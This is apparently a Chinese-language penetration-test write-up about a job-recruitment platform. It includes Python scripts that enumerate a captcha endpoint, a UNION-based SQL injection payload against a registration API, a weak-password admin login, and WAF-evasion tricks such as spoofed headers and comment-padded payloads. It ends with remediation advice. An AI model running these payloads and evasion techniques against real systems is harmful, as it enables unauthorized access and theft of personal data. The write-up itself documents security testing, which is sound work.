一、一次求职平台的渗透旅程
故事从一个实际的渗透测试任务开始。某招聘平台的甲方安全团队接到匿名报案，称有攻击者可能通过平台漏洞窃取了用户的简历数据。这家平台作为红队招聘的重要渠道之一，涉及大量顶尖安全人才的个人信息，数据泄露的风险不容忽视。受甲方委托，我作为内测渗透工程师展开了一次针对性测试。
在这次模拟攻击中，目标是通过攻击平台，获取求职者的敏感数据（如简历内容、联系方式等），并完整记录攻击链路。在接下来的章节中，我将分享这次测试的细节：如何发现问题、构造攻击链，以及如何规避检测实现目标。
---
二、从接口暴露到初步入侵
信息收集：发现图形验证码的秘密
在对招聘平台的功能模块进行分析时，我发现了一个重要的入口点——图形验证码接口。这个接口的 URL 类似于：
<pre><code>https://example.com/api/v1/captcha</code></pre>
通过抓包工具（如 Burp Suite）查看接口请求，我注意到每次请求都会返回一张用于注册或登录的图形验证码图片，并附带一个标识符 captcha_id。
尝试了几次后，我发现 captcha_id 是一个递增的整数，例如：
- 第一次请求：
captcha_id = 1001 - 第二次请求：
captcha_id = 1002
这让我联想到，可能存在未授权访问的漏洞。如果攻击者枚举 captcha_id，就可能批量获取验证码图片，进一步利用 OCR 技术尝试绕过验证机制。
枚举接口的批量脚本
为了验证猜想，我编写了一个简单的 Python 脚本，模拟批量抓取验证码图片：
<pre><code class="language-python">import requests import os
创建本地目录保存验证码图片
os.makedirs("captchas", exist_ok=True)
枚举 captcha_id 的范围
for captcha_id in range(1000, 1100): url = f"https://example.com/api/v1/captcha?id={captcha_id}" response = requests.get(url)
if response.status_code == 200:
保存验证码图片
with open(f"captchas/{captcha_id}.png", "wb") as f: f.write(response.content) print(f"[+] Saved captcha {captcha_id}.png") else: print(f"[-] Failed to fetch captcha {captcha_id}")</code></pre>
运行脚本后，成功抓取了 100 张验证码图片。我尝试用一个开源 OCR 工具（如 Tesseract）对这些图片进行分析，发现识别率超过 70%。这意味着攻击者可以通过不断枚举和识别验证码来绕过平台的验证机制。
---
三、深入挖掘：SQL 注入显现
从查询参数到注入点
在分析注册接口时，我发现用户提交的注册信息会通过一个 POST 请求发送到后端接口：
<pre><code>POST /api/v1/register HTTP/1.1 Content-Type: application/json
{ "username": "testuser", "password": "P@ssw0rd", "captcha_id": "1001", "captcha_code": "abcd" }</code></pre>
通过简单的模糊测试，我尝试在 username 字段中输入一些特殊字符，观察接口的响应。最终发现，当输入 ' OR 1=1 -- 时，接口返回了一个异常错误，提示 SQL 查询失败。这表明存在 SQL 注入漏洞。
编写自动化注入脚本
为了验证是否可以利用此漏洞进一步获取数据库中的敏感数据，我编写了一个简单的 SQL 注入脚本：
<pre><code class="language-python">import requests
目标接口地址
url = "https://example.com/api/v1/register"
构造注入 payload
payload = "' UNION SELECT username, password FROM users --"
data = { "username": payload, "password": "password123", "captcha_id": "1001", "captcha_code": "abcd" }
发送请求并打印结果
response = requests.post(url, json=data)
if response.status_code == 200: print("[+] Injection successful!") print(response.json()) else: print("[-] Injection failed.")</code></pre>
运行脚本后，我成功获取了部分用户的账号和密码。更令人震惊的是，平台并未对用户密码进行加密存储，数据库中直接以明文形式保存。
---
四、横向移动：从低权限用户到管理员
利用弱密码进一步渗透
通过前面的注入漏洞获取了一些普通用户的账号信息，我尝试登录平台后台，发现这些账号并没有管理员权限。但在查看返回的用户数据后，我注意到部分用户的密码非常简单，例如：
- 用户：
admin_test，密码：123456
攻击者可以利用这些弱密码，登录到更高权限的账号。进一步测试后，我成功登录到某个管理员账号，并获得了访问简历库的权限。
---
五、规避检测：流量伪装与免杀技巧
HTTP Headers 的伪装
为了避免触发平台的 WAF（Web 应用防火墙），我在构造请求时加入了一些常用的伪装技巧。例如，设置伪造的 User-Agent 和 Referer，以模拟正常用户的访问行为：
<pre><code class="language-python">headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Referer": "https://example.com/register", "X-Forwarded-For": "192.168.1.1" }
response = requests.post(url, json=data, headers=headers)</code></pre>
动态生成恶意 Payload
为了绕过某些安全检测机制，我开发了一个动态生成 Payload 的框架，可以随机插入无害的字符或空白来混淆检测规则。例如：
<pre><code class="language-python">def generate_payload(base_payload): padding = "/ random comment /" return base_payload.replace(" ", f" {padding} ")</code></pre>
---
六、我的经验：如何避免重蹈覆辙
通过这次渗透测试，我发现平台在多个环节存在严重的安全问题，包括未授权接口访问、SQL 注入、弱密码等。为了避免类似问题，甲方团队需要采取以下措施：
- 接口验证：对所有外部 API 请求进行严格的身份验证，避免被恶意调用。
- 输入过滤：对用户输入的数据进行严格的合法性校验，防止注入攻击。
- 密码管理：强制用户设置强密码，并对密码进行加密存储。
- 日志审计：启用详细的日志记录功能，监控可疑的访问行为。
合法声明：本文中使用的所有技术仅限于授权的渗透测试活动，严禁用于非法用途。